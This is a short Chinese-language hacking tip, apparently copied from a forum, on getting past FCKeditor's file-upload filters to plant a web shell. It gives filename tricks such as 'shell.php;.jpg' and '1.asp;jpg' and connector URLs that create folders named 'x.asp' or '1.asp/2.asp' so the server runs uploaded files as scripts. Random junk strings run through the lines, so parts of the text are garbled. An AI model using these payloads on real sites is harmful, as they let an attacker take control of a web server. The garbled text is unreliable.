很多时候上传的文件例如:shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化,试试上传 1.asp;jpg
' ^9 ]- Y6 h8 b2 d# n: j5 \- d: e: h# c I1 X. L
提交 shell.php+空格 绕过,不过空格只支持 win 系统 *nix 是不支持的,shell.php 和 shell.php+空格 是 2 个不同的文件,未测试。9 a8 i1 e. y I y0 [# e
& ^8 Y* f* R+ j b- t' S继续上传同名文件可变为 shell.php;(1).jpg,也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
0 B: Y* Z( k7 _+ Q- j: z& ?" {( X
+ g& e- h- j9 w+ M; r1 C0 m突破建立文件夹:
7 R: G/ s7 ?+ n$ r+ b7 ^; }
6 p @: z4 C7 M# R$ Deditor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp# b- D4 p0 q" Y- X# H9 ]
1 `7 a4 ? D" h$ J: v/ a
参数:
7 r+ d- r$ N$ |1 _- Z) W! b: L! g
* \! q+ M# r9 h" S; a" v! \! A! |当前目录名:CurrentFolder=/qing.asp
- J* s: E3 \9 G o @" \$ r$ K% {7 S; {6 B! h) l- H W
新的目录名:NewFolderName=x.asp
5 R* C. `: ^3 Y* O' T0 [+ K( V7 X* H, X
其实很简单,在目录那里写 x.asp,然后点击新建目录在弹出来的对话框中随便写……3 c- P" q8 T$ X- W
: d8 Z% g O; Y/ D6 q2 S% |7 @! z
那么 x.asp 就已经建立生成了,此方法百试百灵!1 P" g2 G3 N* x* F4 ?
/ `0 ~$ [" N* S8 `新建文件夹参数 x.asp,基本都能搞定。; p- P; Y$ r6 s/ L: J
1 E" l7 L+ h# k! X1 k- x下面这句话是要在1.asp下建立2.asp,当不存在1.asp时会先创建,只过滤了目标目录的创建 而没有过滤不存在目录的创建6 N' S5 Q2 A( R. P( d4 [
$ @$ j/ b- {" K; i) g
aspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp8 D" `2 p, G* w N. N( x% W6 k
; r2 l2 t9 ?' W
获取文件列表
6 S3 s0 h% O7 u: \ aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F6 J) M' ?+ z" ?( w' L
# U; D1 e* z6 D# T) { |